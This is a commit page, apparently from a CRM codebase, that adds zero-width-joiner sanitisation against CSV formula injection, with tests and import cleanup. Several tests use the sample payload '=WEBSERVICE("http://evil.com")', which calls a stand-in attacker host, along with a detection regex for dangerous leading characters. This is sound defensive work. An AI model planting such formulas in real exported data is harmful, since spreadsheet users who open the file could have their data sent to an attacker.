Prevent csv export injections (#14347)
**Small Security Issue:** CSV exports were vulnerable to formula injection attacks when users entered values starting with =, +, -, or @. (only happens if a logged-in user injects corrupted data) Solution: - Added ZWJ (Zero-Width Joiner) protection that prefixes dangerous values with invisible Unicode character - This is the best way to preserve original data while preventing Excel from executing formulas - Added import cleanup to restore original values when re-importing Changes: - New sanitizeValueForCSVExport() function for security - Updated all CSV export paths to use both security + formatting functions - Added comprehensive tests covering attack vectors and international characters - Also added cursor rules for better code consistency --------- Co-authored-by: Charles Bochet <charlesBochet@users.noreply.github.com>
This commit is contained in:
Félix Malfait
+391
@@ -0,0 +1,391 @@
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import { CSV_DANGEROUS_CHARACTERS } from '@/spreadsheet-import/constants/CsvDangerousCharacters';
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import { CSV_INJECTION_PREVENTION_ZWJ } from '@/spreadsheet-import/constants/CsvInjectionPreventionZwj';
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import { cleanZWJFromImportedValue } from '../cleanZWJFromImportedValue';
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import { containsCSVProtectionZWJ } from '../containsCSVProtectionZWJ';
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import { sanitizeValueForCSVExport } from '../sanitizeValueForCSVExport';
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describe('csvSecurity', () => {
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describe('CSV_DANGEROUS_CHARACTERS regex', () => {
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it('should match dangerous characters at the start of strings', () => {
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expect(CSV_DANGEROUS_CHARACTERS.test('=formula')).toBe(true);
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expect(CSV_DANGEROUS_CHARACTERS.test('+calculation')).toBe(true);
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expect(CSV_DANGEROUS_CHARACTERS.test('-negative')).toBe(true);
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expect(CSV_DANGEROUS_CHARACTERS.test('@reference')).toBe(true);
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expect(CSV_DANGEROUS_CHARACTERS.test('\ttab')).toBe(true);
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expect(CSV_DANGEROUS_CHARACTERS.test('\rcarriage')).toBe(true);
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});
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it('should not match safe strings', () => {
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expect(CSV_DANGEROUS_CHARACTERS.test('normal text')).toBe(false);
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expect(CSV_DANGEROUS_CHARACTERS.test('text with = in middle')).toBe(
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false,
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);
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expect(CSV_DANGEROUS_CHARACTERS.test('text with + in middle')).toBe(
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false,
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);
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expect(CSV_DANGEROUS_CHARACTERS.test('')).toBe(false);
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});
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});
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describe('sanitizeValueForCSVExport', () => {
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it('should prefix dangerous formulas with ZWJ', () => {
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const result = sanitizeValueForCSVExport(
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'=WEBSERVICE("http://evil.com")',
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);
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expect(result).toBe(
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`${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE("http://evil.com")`,
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);
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});
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it('should prefix dangerous calculations with ZWJ', () => {
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expect(sanitizeValueForCSVExport('+1+1')).toBe(
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`${CSV_INJECTION_PREVENTION_ZWJ}+1+1`,
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);
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expect(sanitizeValueForCSVExport('-1+1')).toBe(
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`${CSV_INJECTION_PREVENTION_ZWJ}-1+1`,
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);
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});
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it('should prefix dangerous references with ZWJ', () => {
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expect(sanitizeValueForCSVExport('@SUM(1,1)')).toBe(
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`${CSV_INJECTION_PREVENTION_ZWJ}@SUM(1,1)`,
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);
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});
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it('should prefix dangerous control characters with ZWJ', () => {
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expect(sanitizeValueForCSVExport('\t=FORMULA()')).toBe(
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`${CSV_INJECTION_PREVENTION_ZWJ}\t=FORMULA()`,
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);
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expect(sanitizeValueForCSVExport('\r=FORMULA()')).toBe(
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`${CSV_INJECTION_PREVENTION_ZWJ}\r=FORMULA()`,
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);
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});
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it('should preserve legitimate phone numbers with ZWJ', () => {
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const phoneNumber = '+1-555-123-4567';
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const result = sanitizeValueForCSVExport(phoneNumber);
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expect(result).toBe(`${CSV_INJECTION_PREVENTION_ZWJ}+1-555-123-4567`);
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// Should be visually identical to user
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expect(result.substring(1)).toBe(phoneNumber);
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});
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it('should not modify safe strings', () => {
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expect(sanitizeValueForCSVExport('John Doe')).toBe('John Doe');
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expect(sanitizeValueForCSVExport('john@example.com')).toBe(
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'john@example.com',
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);
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expect(sanitizeValueForCSVExport('Text with = in middle')).toBe(
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'Text with = in middle',
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);
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expect(sanitizeValueForCSVExport('Text with + in middle')).toBe(
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'Text with + in middle',
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);
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});
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it('should handle null and undefined values', () => {
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expect(sanitizeValueForCSVExport(null)).toBe('');
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expect(sanitizeValueForCSVExport(undefined)).toBe('');
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});
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it('should convert non-string values to strings', () => {
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expect(sanitizeValueForCSVExport(123)).toBe('123');
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expect(sanitizeValueForCSVExport(true)).toBe('true');
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expect(sanitizeValueForCSVExport(false)).toBe('false');
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});
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it('should handle edge cases', () => {
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expect(sanitizeValueForCSVExport('')).toBe('');
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expect(sanitizeValueForCSVExport('=')).toBe(
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`${CSV_INJECTION_PREVENTION_ZWJ}=`,
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);
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expect(sanitizeValueForCSVExport('+')).toBe(
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`${CSV_INJECTION_PREVENTION_ZWJ}+`,
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);
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});
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});
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describe('cleanZWJFromImportedValue', () => {
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it('should remove ZWJ prefix from sanitized values', () => {
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const sanitized = `${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE("http://evil.com")`;
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const cleaned = cleanZWJFromImportedValue(sanitized);
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expect(cleaned).toBe('=WEBSERVICE("http://evil.com")');
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});
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it('should restore original phone numbers', () => {
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const sanitized = `${CSV_INJECTION_PREVENTION_ZWJ}+1-555-123-4567`;
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const cleaned = cleanZWJFromImportedValue(sanitized);
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expect(cleaned).toBe('+1-555-123-4567');
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});
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it('should not modify values without ZWJ prefix', () => {
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expect(cleanZWJFromImportedValue('John Doe')).toBe('John Doe');
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expect(cleanZWJFromImportedValue('john@example.com')).toBe(
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'john@example.com',
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);
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expect(cleanZWJFromImportedValue('Normal text')).toBe('Normal text');
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});
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it('should handle non-string values gracefully', () => {
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expect(cleanZWJFromImportedValue(123 as any)).toBe(123);
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expect(cleanZWJFromImportedValue(null as any)).toBe(null);
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expect(cleanZWJFromImportedValue(undefined as any)).toBe(undefined);
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});
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it('should handle empty strings', () => {
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expect(cleanZWJFromImportedValue('')).toBe('');
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expect(cleanZWJFromImportedValue(CSV_INJECTION_PREVENTION_ZWJ)).toBe('');
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});
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});
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describe('containsCSVProtectionZWJ', () => {
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it('should detect ZWJ in sanitized values', () => {
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const sanitized = `${CSV_INJECTION_PREVENTION_ZWJ}=FORMULA()`;
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expect(containsCSVProtectionZWJ(sanitized)).toBe(true);
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});
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it('should detect ZWJ anywhere in the string', () => {
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const text = `Some text ${CSV_INJECTION_PREVENTION_ZWJ} with ZWJ in middle`;
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expect(containsCSVProtectionZWJ(text)).toBe(true);
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});
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it('should return false for strings without ZWJ', () => {
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expect(containsCSVProtectionZWJ('Normal text')).toBe(false);
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expect(containsCSVProtectionZWJ('=FORMULA()')).toBe(false);
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expect(containsCSVProtectionZWJ('')).toBe(false);
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});
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it('should handle non-string values gracefully', () => {
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expect(containsCSVProtectionZWJ(123 as any)).toBe(false);
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expect(containsCSVProtectionZWJ(null as any)).toBe(false);
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expect(containsCSVProtectionZWJ(undefined as any)).toBe(false);
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});
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});
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describe('roundtrip compatibility', () => {
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it('should preserve data through export/import cycle', () => {
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const originalValues = [
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'=WEBSERVICE("http://evil.com")',
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'+1-555-123-4567',
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'-$5,000 adjustment',
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'@mention',
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'\t=FORMULA()',
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'Normal text',
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'Text with = in middle',
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];
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originalValues.forEach((original) => {
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const sanitized = sanitizeValueForCSVExport(original);
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const restored = cleanZWJFromImportedValue(sanitized);
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expect(restored).toBe(original);
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});
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});
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it('should maintain visual appearance for users', () => {
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const phoneNumber = '+1-555-123-4567';
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const sanitized = sanitizeValueForCSVExport(phoneNumber);
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// The sanitized version should look identical to users
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// (ZWJ is invisible in most contexts)
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expect(sanitized).toContain(phoneNumber);
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expect(sanitized.length).toBe(phoneNumber.length + 1); // +1 for ZWJ
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});
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});
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describe('international character compatibility', () => {
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it('should not interfere with Japanese characters', () => {
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const japaneseTexts = [
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'こんにちは', // "Hello" in Japanese
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'田中太郎', // Japanese name
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'東京都渋谷区', // Tokyo address
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'株式会社', // Corporation
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'ひらがな カタカナ 漢字', // Mixed Japanese scripts
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'2024年12月', // Date in Japanese
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'価格：¥1,000', // Price in yen
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];
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japaneseTexts.forEach((text) => {
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const sanitized = sanitizeValueForCSVExport(text);
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// Should remain unchanged (no dangerous characters at start)
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expect(sanitized).toBe(text);
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expect(containsCSVProtectionZWJ(sanitized)).toBe(false);
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});
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});
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it('should not interfere with Chinese characters', () => {
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const chineseTexts = [
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'你好世界', // "Hello World" in Chinese
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'北京市朝阳区', // Beijing address
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'有限公司', // Limited company
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'2024年12月31日', // Date in Chinese
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'价格：¥100.00', // Price in yuan
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];
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chineseTexts.forEach((text) => {
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const sanitized = sanitizeValueForCSVExport(text);
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expect(sanitized).toBe(text);
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expect(containsCSVProtectionZWJ(sanitized)).toBe(false);
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});
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});
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it('should not interfere with Korean characters', () => {
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const koreanTexts = [
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'안녕하세요', // "Hello" in Korean
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'서울특별시 강남구', // Seoul address
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'주식회사', // Corporation
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'김철수', // Korean name
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'가격: ₩10,000', // Price in won
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];
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koreanTexts.forEach((text) => {
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const sanitized = sanitizeValueForCSVExport(text);
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expect(sanitized).toBe(text);
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expect(containsCSVProtectionZWJ(sanitized)).toBe(false);
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});
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});
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it('should not interfere with Arabic characters', () => {
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const arabicTexts = [
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'مرحبا بالعالم', // "Hello World" in Arabic
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'شركة محدودة المسؤولية', // Limited liability company
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'الرياض، المملكة العربية السعودية', // Riyadh, Saudi Arabia
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'السعر: 100 ريال', // Price in riyal
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];
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arabicTexts.forEach((text) => {
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const sanitized = sanitizeValueForCSVExport(text);
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expect(sanitized).toBe(text);
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expect(containsCSVProtectionZWJ(sanitized)).toBe(false);
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});
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});
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it('should not interfere with European accented characters', () => {
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const europeanTexts = [
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'Café München', // German with umlauts
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'José María García', // Spanish with accents
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'François Müller', // French with cedilla
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'Åse Øberg', // Scandinavian characters
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'Zürich, Schweiz', // Swiss German
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'Москва, Россия', // Russian Cyrillic
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];
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europeanTexts.forEach((text) => {
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const sanitized = sanitizeValueForCSVExport(text);
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expect(sanitized).toBe(text);
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expect(containsCSVProtectionZWJ(sanitized)).toBe(false);
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});
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});
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it('should handle international text with dangerous characters at start', () => {
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const mixedTexts = [
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'+81-3-1234-5678 (Tokyo office)', // Japanese phone with country code
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'=SUM(売上高)', // Formula with Japanese text
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'@田中さん こんにちは', // Mention with Japanese name
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'-€50.00 (European discount)', // Negative amount in euros
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'+33% 增长率', // Percentage with Chinese
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];
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mixedTexts.forEach((text) => {
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const sanitized = sanitizeValueForCSVExport(text);
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const restored = cleanZWJFromImportedValue(sanitized);
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// Should be sanitized (starts with dangerous character)
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expect(sanitized).toBe(CSV_INJECTION_PREVENTION_ZWJ + text);
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expect(containsCSVProtectionZWJ(sanitized)).toBe(true);
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// Should restore perfectly
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expect(restored).toBe(text);
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});
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});
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it('should not add ZWJ to legitimate Unicode combining characters', () => {
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const unicodeTexts = [
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'é', // e with acute accent (U+00E9)
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'e\u0301', // e + combining acute accent
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'नमस्ते', // Hindi greeting
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'مرحبا', // Arabic greeting
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'🇯🇵', // Japanese flag emoji (regional indicators)
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'👨👩👧👦', // Family emoji with ZWJ sequences
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];
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unicodeTexts.forEach((text) => {
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const sanitized = sanitizeValueForCSVExport(text);
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// Should remain unchanged (no dangerous ASCII characters at start)
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expect(sanitized).toBe(text);
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// Should not add our protection ZWJ (unless already present in emoji sequences)
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if (!text.includes('\u200D')) {
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expect(containsCSVProtectionZWJ(sanitized)).toBe(false);
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}
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});
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});
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});
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describe('CSV import integration', () => {
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it('should work with the mapWorkbook import process', () => {
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// Simulate data that would come from a CSV export with ZWJ protection
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const exportedData = [
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['Name', 'Formula', 'Phone'],
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[
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'John Doe',
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`${CSV_INJECTION_PREVENTION_ZWJ}=WEBSERVICE("http://evil.com")`,
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`${CSV_INJECTION_PREVENTION_ZWJ}+1-555-123-4567`,
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],
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['Jane Smith', 'Normal text', '+44-20-1234-5678'],
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];
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// Simulate the import cleanup process
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const cleanedData = exportedData.map((row) =>
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row.map((cell) =>
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typeof cell === 'string' ? cleanZWJFromImportedValue(cell) : cell,
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),
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);
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// Verify the data is properly restored
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expect(cleanedData).toEqual([
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['Name', 'Formula', 'Phone'],
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['John Doe', '=WEBSERVICE("http://evil.com")', '+1-555-123-4567'],
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['Jane Smith', 'Normal text', '+44-20-1234-5678'],
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]);
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});
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it('should handle mixed data types during import', () => {
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const mixedData = [
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['Text', 'Number', 'Boolean', 'Null'],
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[`${CSV_INJECTION_PREVENTION_ZWJ}=FORMULA()`, 123, true, null],
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['Normal text', 456, false, undefined],
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];
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const cleanedData = mixedData.map((row) =>
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row.map((cell) =>
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typeof cell === 'string' ? cleanZWJFromImportedValue(cell) : cell,
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),
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);
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expect(cleanedData).toEqual([
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['Text', 'Number', 'Boolean', 'Null'],
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['=FORMULA()', 123, true, null],
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['Normal text', 456, false, undefined],
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]);
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});
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it('should preserve international characters during import roundtrip', () => {
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const internationalData = [
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['Japanese', 'Chinese', 'Arabic'],
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['こんにちは', '你好', 'مرحبا'],
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[`${CSV_INJECTION_PREVENTION_ZWJ}+81-3-1234-5678`, '北京市', 'الرياض'],
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];
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const cleanedData = internationalData.map((row) =>
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row.map((cell) =>
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typeof cell === 'string' ? cleanZWJFromImportedValue(cell) : cell,
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),
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);
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expect(cleanedData).toEqual([
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['Japanese', 'Chinese', 'Arabic'],
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['こんにちは', '你好', 'مرحبا'],
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['+81-3-1234-5678', '北京市', 'الرياض'],
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]);
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});
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});
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});
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-24
@@ -1,24 +0,0 @@
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import { escapeCSVValue } from '@/spreadsheet-import/utils/escapeCSVValue';
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|
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describe('escapeCSVValue', () => {
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it('should escape values with commas, quotes, newlines and carriage returns', () => {
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expect(escapeCSVValue('test,test')).toBe('"test,test"');
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});
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it('should escape array or JSON values', () => {
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expect(escapeCSVValue(['test', 'test'])).toBe('"[""test"",""test""]"');
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expect(escapeCSVValue({ test: 'test' })).toBe('"{""test"":""test""}"');
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});
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it('should escape null values', () => {
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expect(escapeCSVValue(null)).toBe('');
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});
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it('should escape simple string value', () => {
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expect(escapeCSVValue('test')).toBe('test');
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});
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it('should escape simple number value', () => {
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expect(escapeCSVValue(1)).toBe('1');
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});
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});
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+24
@@ -0,0 +1,24 @@
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import { formatValueForCSV } from '@/spreadsheet-import/utils/formatValueForCSV';
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describe('formatValueForCSV', () => {
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it('should format values with commas, quotes, newlines and carriage returns', () => {
|
||||
expect(formatValueForCSV('test,test')).toBe('"test,test"');
|
||||
});
|
||||
|
||||
it('should format array or JSON values', () => {
|
||||
expect(formatValueForCSV(['test', 'test'])).toBe('"[""test"",""test""]"');
|
||||
expect(formatValueForCSV({ test: 'test' })).toBe('"{""test"":""test""}"');
|
||||
});
|
||||
|
||||
it('should format null values', () => {
|
||||
expect(formatValueForCSV(null)).toBe('');
|
||||
});
|
||||
|
||||
it('should format simple string value', () => {
|
||||
expect(formatValueForCSV('test')).toBe('test');
|
||||
});
|
||||
|
||||
it('should format simple number value', () => {
|
||||
expect(formatValueForCSV(1)).toBe('1');
|
||||
});
|
||||
});
|
||||
+11
@@ -0,0 +1,11 @@
|
||||
import { CSV_INJECTION_PREVENTION_ZWJ } from '@/spreadsheet-import/constants/CsvInjectionPreventionZwj';
|
||||
|
||||
export const cleanZWJFromImportedValue = (value: string): string => {
|
||||
if (typeof value !== 'string') return value;
|
||||
|
||||
if (value.startsWith(CSV_INJECTION_PREVENTION_ZWJ)) {
|
||||
return value.substring(1);
|
||||
}
|
||||
|
||||
return value;
|
||||
};
|
||||
@@ -0,0 +1,7 @@
|
||||
import { CSV_INJECTION_PREVENTION_ZWJ } from '@/spreadsheet-import/constants/CsvInjectionPreventionZwj';
|
||||
|
||||
export const containsCSVProtectionZWJ = (value: string): boolean => {
|
||||
return (
|
||||
typeof value === 'string' && value.includes(CSV_INJECTION_PREVENTION_ZWJ)
|
||||
);
|
||||
};
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
import { CSV_DANGEROUS_CHARACTERS } from '@/spreadsheet-import/constants/CsvDangerousCharacters';
|
||||
import { CSV_INJECTION_PREVENTION_ZWJ } from '@/spreadsheet-import/constants/CsvInjectionPreventionZwj';
|
||||
|
||||
export const sanitizeValueForCSVExport = (value: any): string => {
|
||||
if (value == null) return '';
|
||||
|
||||
const stringValue = typeof value === 'string' ? value : String(value);
|
||||
|
||||
if (CSV_DANGEROUS_CHARACTERS.test(stringValue)) {
|
||||
return CSV_INJECTION_PREVENTION_ZWJ + stringValue;
|
||||
}
|
||||
|
||||
return stringValue;
|
||||
};
|
||||
+4
-1
@@ -1,6 +1,9 @@
|
||||
import { isString } from '@sniptt/guards';
|
||||
|
||||
export const escapeCSVValue = (value: any) => {
|
||||
// Formats values for CSV output by wrapping in quotes when needed and escaping internal quotes.
|
||||
// This handles CSV formatting requirements (commas, quotes, newlines) but NOT security issues.
|
||||
// For security (CSV injection prevention), use sanitizeValueForCSVExport() BEFORE this function.
|
||||
export const formatValueForCSV = (value: any) => {
|
||||
if (value == null) return '';
|
||||
|
||||
const stringValue = isString(value) ? value : JSON.stringify(value);
|
||||
@@ -1,3 +1,4 @@
|
||||
import { cleanZWJFromImportedValue } from '@/spreadsheet-import/utils/cleanZWJFromImportedValue';
|
||||
import { utils, type WorkBook } from 'xlsx-ugnis';
|
||||
|
||||
export const mapWorkbook = (workbook: WorkBook, sheetName?: string) => {
|
||||
@@ -7,5 +8,14 @@ export const mapWorkbook = (workbook: WorkBook, sheetName?: string) => {
|
||||
blankrows: false,
|
||||
raw: false,
|
||||
});
|
||||
return data as string[][];
|
||||
|
||||
// Clean ZWJ characters from imported CSV data to restore original values
|
||||
// This reverses the ZWJ protection applied during export
|
||||
const cleanedData = (data as string[][]).map((row) =>
|
||||
row.map((cell) =>
|
||||
typeof cell === 'string' ? cleanZWJFromImportedValue(cell) : cell,
|
||||
),
|
||||
);
|
||||
|
||||
return cleanedData;
|
||||
};
|
||||
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
import { CSV_DANGEROUS_CHARACTERS } from '@/spreadsheet-import/constants/CsvDangerousCharacters';
|
||||
import { CSV_INJECTION_PREVENTION_ZWJ } from '@/spreadsheet-import/constants/CsvInjectionPreventionZwj';
|
||||
|
||||
export const sanitizeValueForCSVExport = (value: any): string => {
|
||||
if (value == null) return '';
|
||||
|
||||
const stringValue = typeof value === 'string' ? value : String(value);
|
||||
|
||||
if (CSV_DANGEROUS_CHARACTERS.test(stringValue)) {
|
||||
return CSV_INJECTION_PREVENTION_ZWJ + stringValue;
|
||||
}
|
||||
|
||||
return stringValue;
|
||||
};
|
||||
Reference in New Issue
Block a user